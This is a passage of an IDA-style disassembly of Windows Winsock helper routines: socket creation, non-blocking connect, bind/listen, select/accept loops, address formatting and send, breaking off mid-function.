sub_4033F9 proc near ; CODE XREF: sub_40656A:loc_40667Dp
; sub_408E1A+196p ...
var_14 = byte ptr -14h
push ebp
mov ebp, esp
sub esp, 14h
push esi
lea eax, [ebp+var_14]
push offset dword_413A18
push eax
call sub_4114B8 ; _mbscpy
lea eax, [ebp+var_14]
push eax
call sub_40B5E1
push 7D0h
push 2
lea eax, [ebp+var_14]
push offset a80 ; "80"
push eax
call sub_403C04
add esp, 1Ch
test eax, eax
jz short loc_403447
cmp eax, 0FFFFFFFFh
jz short loc_403447
push 1
pop esi
push eax
call sub_403D92
pop ecx
loc_403442: ; CODE XREF: sub_4033F9+50j
mov eax, esi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_403447: ; CODE XREF: sub_4033F9+38j
; sub_4033F9+3Dj
xor esi, esi
jmp short loc_403442
sub_4033F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40344B proc near ; CODE XREF: sub_403B44+7Dp
; sub_403C04+ABp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor eax, eax
cmp [ebp+arg_4], eax
setz al
mov [ebp+arg_4], eax
lea eax, [ebp+arg_4]
push eax
push 8004667Eh
push [ebp+arg_0]
call dword_412228 ; ioctlsocket
pop ebp
retn
sub_40344B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40346D proc near ; CODE XREF: sub_40544F+1C5p
; sub_40544F+200p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
lea eax, [ebp+arg_0]
push eax
push 4004667Fh
push [ebp+arg_0]
call dword_412228 ; ioctlsocket
xor eax, eax
cmp [ebp+arg_0], eax
setnz al
pop ebp
retn
sub_40346D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40348C proc near ; CODE XREF: sub_409918+467p
; sub_40DE9A+54p
var_84 = byte ptr -84h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 84h
lea eax, [ebp+var_4]
mov [ebp+var_4], 80h
push eax
lea eax, [ebp+var_84]
push eax
push [ebp+arg_0]
call dword_412250 ; getsockname
cmp eax, 0FFFFFFFFh
jnz short loc_4034B9
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_4034B9: ; CODE XREF: sub_40348C+27j
push 2
push 0
push 0
push 100h
push [ebp+arg_4]
lea eax, [ebp+var_84]
push [ebp+var_4]
push eax
call dword_419228
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40348C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4034DE proc near ; CODE XREF: sub_40544F+B2p
; sub_40E6A0+24p ...
var_84 = byte ptr -84h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 84h
lea eax, [ebp+var_4]
mov [ebp+var_4], 80h
push eax
lea eax, [ebp+var_84]
push eax
push [ebp+arg_0]
call dword_412224 ; getpeername
cmp eax, 0FFFFFFFFh
jnz short loc_40350B
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40350B: ; CODE XREF: sub_4034DE+27j
push 2
push 0
push 0
push 100h
push [ebp+arg_4]
lea eax, [ebp+var_84]
push [ebp+var_4]
push eax
call dword_419228
neg eax
sbb eax, eax
inc eax
leave
retn
sub_4034DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403530 proc near ; CODE XREF: sub_40ECD6+8Fp
; sub_410C55+182p
var_84 = byte ptr -84h
var_82 = dword ptr -82h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 84h
lea eax, [ebp+var_4]
mov [ebp+var_4], 80h
push eax
lea eax, [ebp+var_84]
push eax
push [ebp+arg_0]
call dword_412250 ; getsockname
cmp eax, 0FFFFFFFFh
jnz short loc_40355D
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40355D: ; CODE XREF: sub_403530+27j
push 0Ah
push [ebp+arg_4]
push [ebp+var_82]
call dword_412248 ; htons
movzx eax, ax
push eax
call sub_41192A ; _itoa
add esp, 0Ch
push 1
pop eax
leave
retn
sub_403530 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40357F proc near ; CODE XREF: sub_40F9C9+142p
; sub_410C55+14Ap
var_84 = byte ptr -84h
var_82 = dword ptr -82h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 84h
lea eax, [ebp+var_4]
mov [ebp+var_4], 80h
push eax
lea eax, [ebp+var_84]
push eax
push [ebp+arg_0]
call dword_412224 ; getpeername
cmp eax, 0FFFFFFFFh
jnz short loc_4035AC
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_4035AC: ; CODE XREF: sub_40357F+27j
push 0Ah
push [ebp+arg_4]
push [ebp+var_82]
call dword_412248 ; htons
movzx eax, ax
push eax
call sub_41192A ; _itoa
add esp, 0Ch
push 1
pop eax
leave
retn
sub_40357F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4035CE proc near ; CODE XREF: sub_409918+516p
var_404 = byte ptr -404h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 404h
lea eax, [ebp+arg_0]
push esi
push eax
push 0
push 0
push [ebp+arg_0]
call dword_419224
test eax, eax
jnz short loc_40363F
mov esi, [ebp+arg_0]
loc_4035F0: ; CODE XREF: sub_4035CE+51j
test esi, esi
jz short loc_403636
push 2
push 0
push 0
lea eax, [ebp+var_404]
push 401h
push eax
push dword ptr [esi+10h]
push dword ptr [esi+18h]
call dword_419228
test eax, eax
jnz short loc_40361C
cmp dword ptr [esi+4], 2
jz short loc_403621
loc_40361C: ; CODE XREF: sub_4035CE+46j
mov esi, [esi+1Ch]
jmp short loc_4035F0
; ---------------------------------------------------------------------------
loc_403621: ; CODE XREF: sub_4035CE+4Cj
lea eax, [ebp+var_404]
push eax
push [ebp+arg_4]
call sub_4114B8 ; _mbscpy
pop ecx
mov al, 1
pop ecx
jmp short loc_403641
; ---------------------------------------------------------------------------
loc_403636: ; CODE XREF: sub_4035CE+24j
push [ebp+arg_0]
call dword_41922C
loc_40363F: ; CODE XREF: sub_4035CE+1Dj
xor al, al
loc_403641: ; CODE XREF: sub_4035CE+66j
pop esi
leave
retn
sub_4035CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403644 proc near ; CODE XREF: sub_401B81+D4p
; sub_402EFD+33p ...
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push edi
push 1008h
call sub_4114C4 ; malloc
mov edi, eax
xor ebx, ebx
cmp edi, ebx
pop ecx
jz loc_40375D
push 20h
lea eax, [ebp+var_24]
push ebx
push eax
mov [edi], ebx
mov [edi+804h], ebx
call sub_4114E8 ; memset
add esp, 0Ch
call sub_403366
neg eax
sbb eax, eax
mov [ebp+var_1C], 1
and al, 0FEh
mov [ebp+var_24], 5
inc eax
inc eax
mov [ebp+var_20], eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push [ebp+arg_0]
push ebx
call dword_419224
test eax, eax
jnz loc_403756
push esi
mov esi, [ebp+var_4]
cmp esi, ebx
jz loc_403748
loc_4036BE: ; CODE XREF: sub_403644+FCj
push dword ptr [esi+0Ch]
push dword ptr [esi+8]
push dword ptr [esi+4]
call dword_41222C ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_40373B
mov eax, [esi+4]
cmp eax, 2
jz short loc_4036E1
cmp eax, 17h
jnz short loc_40373B
loc_4036E1: ; CODE XREF: sub_403644+96j
test [ebp+arg_4], 2
jz short loc_403702
lea eax, [ebp+arg_0]
push 4
push eax
push 4
push 0FFFFh
push ebx
mov [ebp+arg_0], 1
call dword_412218 ; setsockopt
loc_403702: ; CODE XREF: sub_403644+A1j
push dword ptr [esi+10h]
push dword ptr [esi+18h]
push ebx
call dword_41221C ; bind
cmp eax, 0FFFFFFFFh
jz short loc_403722
push 32h
push ebx
call dword_412278 ; listen
cmp eax, 0FFFFFFFFh
jnz short loc_40372B
loc_403722: ; CODE XREF: sub_403644+CEj
push ebx
call sub_403D92
pop ecx
jmp short loc_40373B
; ---------------------------------------------------------------------------
loc_40372B: ; CODE XREF: sub_403644+DCj
mov eax, [edi]
mov [edi+eax*4+4], ebx
inc dword ptr [edi]
cmp dword ptr [edi], 200h
jz short loc_403746
loc_40373B: ; CODE XREF: sub_403644+8Ej
; sub_403644+9Bj ...
mov esi, [esi+1Ch]
test esi, esi
jnz loc_4036BE
loc_403746: ; CODE XREF: sub_403644+F5j
xor ebx, ebx
loc_403748: ; CODE XREF: sub_403644+74j
push [ebp+var_4]
call dword_41922C
cmp [edi], ebx
pop esi
jnz short loc_403761
loc_403756: ; CODE XREF: sub_403644+68j
push edi
call sub_4114CA ; free
pop ecx
loc_40375D: ; CODE XREF: sub_403644+19j
xor eax, eax
jmp short loc_403763
; ---------------------------------------------------------------------------
loc_403761: ; CODE XREF: sub_403644+110j
mov eax, edi
loc_403763: ; CODE XREF: sub_403644+11Bj
pop edi
pop ebx
leave
retn
sub_403644 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403767 proc near ; CODE XREF: sub_401B81+18Fp
; sub_402EFD+7Dp ...
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 90h
and [ebp+var_4], 0
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov [ebp+var_8], 80h
cmp dword ptr [esi], 0
jbe loc_40380C
lea edi, [esi+4]
loc_40378D: ; CODE XREF: sub_403767+A3j
lea ebx, [esi+804h]
push ebx
push dword ptr [edi]
call sub_4117E8 ; __WSAFDIsSet
test eax, eax
jz short loc_4037FF
mov edx, [ebx]
xor ecx, ecx
test edx, edx
jbe short loc_4037E3
mov ebx, [edi]
lea eax, [esi+808h]
loc_4037AF: ; CODE XREF: sub_403767+52j
cmp [eax], ebx
jz short loc_4037BD
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_4037AF
jmp short loc_4037E3
; ---------------------------------------------------------------------------
loc_4037BD: ; CODE XREF: sub_403767+4Aj
dec edx
cmp ecx, edx
jnb short loc_4037DD
lea eax, [esi+ecx*4+808h]
loc_4037C9: ; CODE XREF: sub_403767+74j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [esi+804h]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_4037C9
loc_4037DD: ; CODE XREF: sub_403767+59j
dec dword ptr [esi+804h]
loc_4037E3: ; CODE XREF: sub_403767+3Ej
; sub_403767+54j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_90]
push eax
push dword ptr [edi]
call dword_41223C ; accept
cmp eax, 0FFFFFFFFh
jnz loc_403925
loc_4037FF: ; CODE XREF: sub_403767+36j
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [esi]
jb short loc_40378D
loc_40380C: ; CODE XREF: sub_403767+1Dj
lea edi, [esi+804h]
xor eax, eax
cmp [esi], eax
mov [ebp+var_4], eax
mov [edi], eax
jbe short loc_403868
lea ecx, [esi+4]
loc_403820: ; CODE XREF: sub_403767+FFj
mov edx, [edi]
and [ebp+arg_0], 0
test edx, edx
jbe short loc_403841
lea eax, [esi+808h]
loc_403830: ; CODE XREF: sub_403767+D8j
mov ebx, [ecx]
cmp [eax], ebx
jz short loc_403841
inc [ebp+arg_0]
add eax, 4
cmp [ebp+arg_0], edx
jb short loc_403830
loc_403841: ; CODE XREF: sub_403767+C1j
; sub_403767+CDj
mov eax, [ebp+arg_0]
cmp eax, edx
jnz short loc_40385B
cmp edx, 200h
jnb short loc_40385B
mov edx, [ecx]
mov [esi+eax*4+808h], edx
inc dword ptr [edi]
loc_40385B: ; CODE XREF: sub_403767+DFj
; sub_403767+E7j
inc [ebp+var_4]
add ecx, 4
mov eax, [ebp+var_4]
cmp eax, [esi]
jb short loc_403820
loc_403868: ; CODE XREF: sub_403767+B4j
mov eax, [ebp+arg_4]
mov ecx, 3E8h
xor edx, edx
mov ebx, ecx
div ebx
xor edx, edx
xor ebx, ebx
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
div ecx
lea eax, [ebp+var_10]
push eax
push ebx
push ebx
push edi
push dword ptr [esi]
imul edx, 3E8h
mov [ebp+var_C], edx
call dword_412214 ; select
cmp eax, ebx
jz loc_403922
cmp eax, 0FFFFFFFFh
jnz short loc_4038AB
xor eax, eax
jmp short loc_403925
; ---------------------------------------------------------------------------
loc_4038AB: ; CODE XREF: sub_403767+13Ej
cmp [esi], ebx
mov [ebp+var_4], ebx
jbe short loc_403922
lea ebx, [esi+4]
loc_4038B5: ; CODE XREF: sub_403767+1B9j
push edi
push dword ptr [ebx]
call sub_4117E8 ; __WSAFDIsSet
test eax, eax
jz short loc_403915
xor ecx, ecx
cmp [edi], ecx
jbe short loc_4038FD
lea eax, [esi+808h]
loc_4038CD: ; CODE XREF: sub_403767+172j
mov edx, [ebx]
cmp [eax], edx
jz short loc_4038DD
inc ecx
add eax, 4
cmp ecx, [edi]
jb short loc_4038CD
jmp short loc_4038FD
; ---------------------------------------------------------------------------
loc_4038DD: ; CODE XREF: sub_403767+16Aj
mov eax, [edi]
dec eax
cmp ecx, eax
jnb short loc_4038FB
lea eax, [esi+ecx*4+808h]
loc_4038EB: ; CODE XREF: sub_403767+192j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [edi]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_4038EB
loc_4038FB: ; CODE XREF: sub_403767+17Bj
dec dword ptr [edi]
loc_4038FD: ; CODE XREF: sub_403767+15Ej
; sub_403767+174j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_90]
push eax
push dword ptr [ebx]
call dword_41223C ; accept
cmp eax, 0FFFFFFFFh
jnz short loc_403925
loc_403915: ; CODE XREF: sub_403767+158j
inc [ebp+var_4]
add ebx, 4
mov eax, [ebp+var_4]
cmp eax, [esi]
jb short loc_4038B5
loc_403922: ; CODE XREF: sub_403767+135j
; sub_403767+149j
or eax, 0FFFFFFFFh
loc_403925: ; CODE XREF: sub_403767+92j
; sub_403767+142j ...
pop edi
pop esi
pop ebx
leave
retn
sub_403767 endp
; =============== S U B R O U T I N E =======================================
sub_40392A proc near ; CODE XREF: sub_401B81+FFp
; sub_401B81+2EFp ...
arg_0 = dword ptr 4
push ebx
push esi
mov esi, [esp+8+arg_0]
xor ebx, ebx
push edi
mov eax, [esi]
test eax, eax
jbe short loc_40395C
lea edi, [esi+4]
loc_40393C: ; CODE XREF: sub_40392A+30j
cmp dword_4191D8, 0
jz short loc_40394A
cmp eax, 64h
ja short loc_40395C
loc_40394A: ; CODE XREF: sub_40392A+19j
push dword ptr [edi]
call sub_403D92
mov eax, [esi]
inc ebx
add edi, 4
cmp ebx, eax
pop ecx
jb short loc_40393C
loc_40395C: ; CODE XREF: sub_40392A+Dj
; sub_40392A+1Ej
and dword ptr [esi+804h], 0
push esi
call sub_4114CA ; free
pop ecx
pop edi
pop esi
pop ebx
retn
sub_40392A endp
; =============== S U B R O U T I N E =======================================
sub_40396E proc near ; CODE XREF: sub_40EE23+149p
; sub_40F9C9+32p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
cmp esi, 200h
ja short loc_40398A
push 1010h
call sub_4114C4 ; malloc
test eax, eax
pop ecx
jnz short loc_40398E
loc_40398A: ; CODE XREF: sub_40396E+Bj
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40398E: ; CODE XREF: sub_40396E+1Aj
and dword ptr [eax+4], 0
mov [eax], esi
pop esi
retn
sub_40396E endp
; =============== S U B R O U T I N E =======================================
sub_403996 proc near ; CODE XREF: sub_40EE23+32Cp
; sub_40F9C9+FBp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov ecx, [eax+4]
cmp ecx, [eax]
jnz short loc_4039AE
push [esp+arg_0]
call sub_403D92
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4039AE: ; CODE XREF: sub_403996+9j
mov edx, [esp+arg_0]
mov [eax+ecx*4+0Ch], edx
inc dword ptr [eax+4]
mov ecx, [eax+4]
xor edx, edx
cmp ecx, [eax]
setnz dl
mov eax, edx
retn
sub_403996 endp
; =============== S U B R O U T I N E =======================================
sub_4039C6 proc near ; CODE XREF: sub_40EE23+3D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
push edi
mov edx, [esi+4]
test edx, edx
jbe short loc_403A18
lea ecx, [esi+0Ch]
loc_4039D8: ; CODE XREF: sub_4039C6+20j
mov edi, [ecx]
cmp edi, [esp+8+arg_0]
jz short loc_4039EA
inc eax
add ecx, 4
cmp eax, edx
jb short loc_4039D8
jmp short loc_403A18
; ---------------------------------------------------------------------------
loc_4039EA: ; CODE XREF: sub_4039C6+18j
mov ecx, [esi+8]
cmp eax, ecx
jb short loc_4039F5
dec ecx
mov [esi+8], ecx
loc_4039F5: ; CODE XREF: sub_4039C6+29j
mov ecx, eax
imul ecx, 3FFFFFFFh
add ecx, edx
shl ecx, 2
push ecx
lea ecx, [esi+eax*4+10h]
lea eax, [esi+eax*4+0Ch]
push ecx
push eax
call sub_4114D0 ; memcpy
add esp, 0Ch
dec dword ptr [esi+4]
loc_403A18: ; CODE XREF: sub_4039C6+Dj
; sub_4039C6+22j
pop edi
pop esi
retn
sub_4039C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403A1B proc near ; CODE XREF: sub_40EE23+361p
; sub_40F9C9+11Ap
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
push ebx
xor ebx, ebx
cmp [eax+4], ebx
lea ecx, [eax+80Ch]
mov [eax+8], ebx
mov [ebp+var_4], ebx
mov [ecx], ebx
jbe short loc_403A8A
push esi
push edi
lea esi, [eax+0Ch]
loc_403A3E: ; CODE XREF: sub_403A1B+6Bj
mov edi, [ecx]
mov [ebp+arg_0], ebx
cmp edi, ebx
jbe short loc_403A60
lea edx, [eax+810h]
loc_403A4D: ; CODE XREF: sub_403A1B+41j
mov ebx, [esi]
cmp [edx], ebx
jz short loc_403A5E
inc [ebp+arg_0]
add edx, 4
cmp [ebp+arg_0], edi
jb short loc_403A4D
loc_403A5E: ; CODE XREF: sub_403A1B+36j
xor ebx, ebx
loc_403A60: ; CODE XREF: sub_403A1B+2Aj
mov edx, [ebp+arg_0]
cmp edx, edi
jnz short loc_403A7A
cmp edi, 200h
jnb short loc_403A7A
mov edi, [esi]
mov [eax+edx*4+810h], edi
inc dword ptr [ecx]
loc_403A7A: ; CODE XREF: sub_403A1B+4Aj
; sub_403A1B+52j
inc [ebp+var_4]
mov edx, [ebp+var_4]
add esi, 4
cmp edx, [eax+4]
jb short loc_403A3E
pop edi
pop esi
loc_403A8A: ; CODE XREF: sub_403A1B+1Cj
lea eax, [ebp+var_8]
mov [ebp+var_8], ebx
push eax
push ebx
push ecx
push ebx
push ebx
mov [ebp+var_4], 3E8h
call dword_412214 ; select
cmp eax, ebx
jz short loc_403AB0
cmp eax, 0FFFFFFFFh
jz short loc_403AB0
push 1
pop eax
jmp short loc_403AB2
; ---------------------------------------------------------------------------
loc_403AB0: ; CODE XREF: sub_403A1B+89j
; sub_403A1B+8Ej
xor eax, eax
loc_403AB2: ; CODE XREF: sub_403A1B+93j
pop ebx
leave
retn
sub_403A1B endp
; =============== S U B R O U T I N E =======================================
sub_403AB5 proc near ; CODE XREF: sub_40EE23+372p
; sub_40F9C9+133p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
push edi
mov edi, [esi+8]
cmp edi, [esi+4]
jnb short loc_403AE4
lea ebp, [esi+80Ch]
lea ebx, [esi+edi*4+0Ch]
loc_403ACF: ; CODE XREF: sub_403AB5+2Dj
push ebp
push dword ptr [ebx]
call sub_4117E8 ; __WSAFDIsSet
test eax, eax
jnz short loc_403AEB
inc edi
add ebx, 4
cmp edi, [esi+4]
jb short loc_403ACF
loc_403AE4: ; CODE XREF: sub_403AB5+Ej
xor eax, eax
loc_403AE6: ; CODE XREF: sub_403AB5+40j
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
loc_403AEB: ; CODE XREF: sub_403AB5+24j
lea eax, [edi+1]
mov [esi+8], eax
mov eax, [esi+edi*4+0Ch]
jmp short loc_403AE6
sub_403AB5 endp
; =============== S U B R O U T I N E =======================================
sub_403AF7 proc near ; CODE XREF: sub_403B2F+4p
; sub_40EE23+435p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebp, ebp
xor ebx, ebx
cmp [esi+4], ebp
jbe short loc_403B1F
push edi
lea edi, [esi+0Ch]
loc_403B0B: ; CODE XREF: sub_403AF7+25j
push dword ptr [edi]
call sub_403D92
mov [edi], ebp
inc ebx
add edi, 4
cmp ebx, [esi+4]
pop ecx
jb short loc_403B0B
pop edi
loc_403B1F: ; CODE XREF: sub_403AF7+Ej
mov [esi+4], ebp
mov [esi+8], ebp
mov [esi+80Ch], ebp
pop esi
pop ebp
pop ebx
retn
sub_403AF7 endp
; =============== S U B R O U T I N E =======================================
sub_403B2F proc near ; CODE XREF: sub_40EE23+483p
; sub_40F9C9+1C2p
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_403AF7
push [esp+4+arg_0]
call sub_4114CA ; free
pop ecx
pop ecx
retn
sub_403B2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403B44 proc near ; CODE XREF: sub_40E829+15p
; sub_40EE23+323p ...
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
push 20h
lea eax, [ebp+var_24]
push 0
push eax
call sub_4114E8 ; memset
add esp, 0Ch
test [ebp+arg_8], 2
jz short loc_403B69
mov [ebp+var_20], 17h
jmp short loc_403B75
; ---------------------------------------------------------------------------
loc_403B69: ; CODE XREF: sub_403B44+1Aj
movsx eax, [ebp+arg_8]
and eax, 1
shl eax, 1
mov [ebp+var_20], eax
loc_403B75: ; CODE XREF: sub_403B44+23j
test [ebp+arg_8], 4
push 0
pop eax
setnz al
inc eax
mov [ebp+var_1C], eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call dword_419224
test eax, eax
jz short loc_403B9F
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_403B9F: ; CODE XREF: sub_403B44+55j
push esi
mov esi, [ebp+var_4]
push edi
loc_403BA4: ; CODE XREF: sub_403B44+ADj
test esi, esi
jz short loc_403BF3
push dword ptr [esi+0Ch]
push dword ptr [esi+8]
push dword ptr [esi+4]
call dword_41222C ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_403BEE
push 0
push edi
call sub_40344B
pop ecx
pop ecx
push dword ptr [esi+10h]
push dword ptr [esi+18h]
push edi
call dword_412208 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_403BE7
call dword_412238 ; WSAGetLastError
cmp eax, 2733h
jz short loc_403BF5
loc_403BE7: ; CODE XREF: sub_403B44+94j
push edi
call sub_403D92
pop ecx
loc_403BEE: ; CODE XREF: sub_403B44+78j
mov esi, [esi+1Ch]
jmp short loc_403BA4
; ---------------------------------------------------------------------------
loc_403BF3: ; CODE XREF: sub_403B44+62j
xor edi, edi
loc_403BF5: ; CODE XREF: sub_403B44+A1j
push [ebp+var_4]
call dword_41922C
mov eax, edi
pop edi
pop esi
leave
retn
sub_403B44 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_403C04 proc near ; CODE XREF: sub_401985+73p
; sub_402018+1Ap ...
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 82Ch
mov eax, [ebp+arg_C]
push ebx
mov ecx, 3E8h
push esi
cdq
mov esi, ecx
xor ebx, ebx
idiv esi
push 20h
push ebx
mov [ebp+var_8], eax
mov eax, [ebp+arg_C]
cdq
idiv ecx
lea eax, [ebp+var_28]
push eax
imul edx, 3E8h
mov [ebp+var_4], edx
call sub_4114E8 ; memset
add esp, 0Ch
test [ebp+arg_8], 2
jz short loc_403C4E
mov [ebp+var_24], 17h
jmp short loc_403C5A
; ---------------------------------------------------------------------------
loc_403C4E: ; CODE XREF: sub_403C04+3Fj
movsx eax, [ebp+arg_8]
and eax, 1
shl eax, 1
mov [ebp+var_24], eax
loc_403C5A: ; CODE XREF: sub_403C04+48j
test [ebp+arg_8], 4
push 0
pop eax
setnz al
inc eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_28]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call dword_419224
test eax, eax
jz short loc_403C87
xor eax, eax
jmp loc_403D6C
; ---------------------------------------------------------------------------
loc_403C87: ; CODE XREF: sub_403C04+7Aj
mov esi, [ebp+arg_C]
push edi
loc_403C8B: ; CODE XREF: sub_403C04+149j
cmp esi, ebx
jz loc_403D5E
push dword ptr [esi+0Ch]
push dword ptr [esi+8]
push dword ptr [esi+4]
call dword_41222C ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_403D4A
push ebx
push edi
call sub_40344B
pop ecx
pop ecx
push dword ptr [esi+10h]
push dword ptr [esi+18h]
push edi
call dword_412208 ; connect
test eax, eax
jz short loc_403CD4
call dword_412238 ; WSAGetLastError
cmp eax, 2733h
jnz short loc_403D4A
loc_403CD4: ; CODE XREF: sub_403C04+C1j
lea eax, [ebp+var_8]
mov [ebp+var_828], edi
push eax
lea eax, [ebp+var_82C]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_82C], 1
call dword_412214 ; select
cmp eax, 1
jz short loc_403D52
mov edx, [ebp+var_82C]
xor ecx, ecx
cmp edx, ebx
jbe short loc_403D43
lea eax, [ebp+var_828]
loc_403D0F: ; CODE XREF: sub_403C04+115j
cmp [eax], edi
jz short loc_403D1D
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_403D0F
jmp short loc_403D43
; ---------------------------------------------------------------------------
loc_403D1D: ; CODE XREF: sub_403C04+10Dj
dec edx
cmp ecx, edx
jnb short loc_403D3D
lea eax, [ebp+ecx*4+var_828]
loc_403D29: ; CODE XREF: sub_403C04+137j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp+var_82C]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_403D29
loc_403D3D: ; CODE XREF: sub_403C04+11Cj
dec [ebp+var_82C]
loc_403D43: ; CODE XREF: sub_403C04+103j
; sub_403C04+117j
push edi
call sub_403D92
pop ecx
loc_403D4A: ; CODE XREF: sub_403C04+A3j
; sub_403C04+CEj
mov esi, [esi+1Ch]
jmp loc_403C8B
; ---------------------------------------------------------------------------
loc_403D52: ; CODE XREF: sub_403C04+F7j
push 1
push edi
call sub_40344B
pop ecx
pop ecx
jmp short loc_403D60
; ---------------------------------------------------------------------------
loc_403D5E: ; CODE XREF: sub_403C04+89j
xor edi, edi
loc_403D60: ; CODE XREF: sub_403C04+158j
push [ebp+arg_C]
call dword_41922C
mov eax, edi
pop edi
loc_403D6C: ; CODE XREF: sub_403C04+7Ej
pop esi
pop ebx
leave
retn
sub_403C04 endp
; =============== S U B R O U T I N E =======================================
sub_403D70 proc near ; CODE XREF: sub_401985+1E0p
; sub_401B81+2E1p ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call dword_412210 ; shutdown
push 3E8h
call dword_4120A4 ; Sleep
push [esp+arg_0]
call sub_403D92
pop ecx
retn
sub_403D70 endp
; =============== S U B R O U T I N E =======================================
sub_403D92 proc near ; CODE XREF: sub_4032D2+55p
; sub_403366+15p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_412240 ; closesocket
retn
sub_403D92 endp
; =============== S U B R O U T I N E =======================================
sub_403D9D proc near ; CODE XREF: sub_401985+110p
; sub_401B81+207p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call dword_412220 ; send
retn
sub_403D9D endp
; =============== S U B R O U T I N E =======================================
sub_403DB2 proc near ; CODE XREF: sub_402EFD+B5p
; sub_403DF6+1Fp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
mov esi, [esp+4+arg_8]
cmp esi, 2
push edi
jb short loc_403DDF
mov edi, [esp+8+arg_4]
lea eax, [esi-1]
push 0
push eax
push edi
push [esp+14h+arg_0]
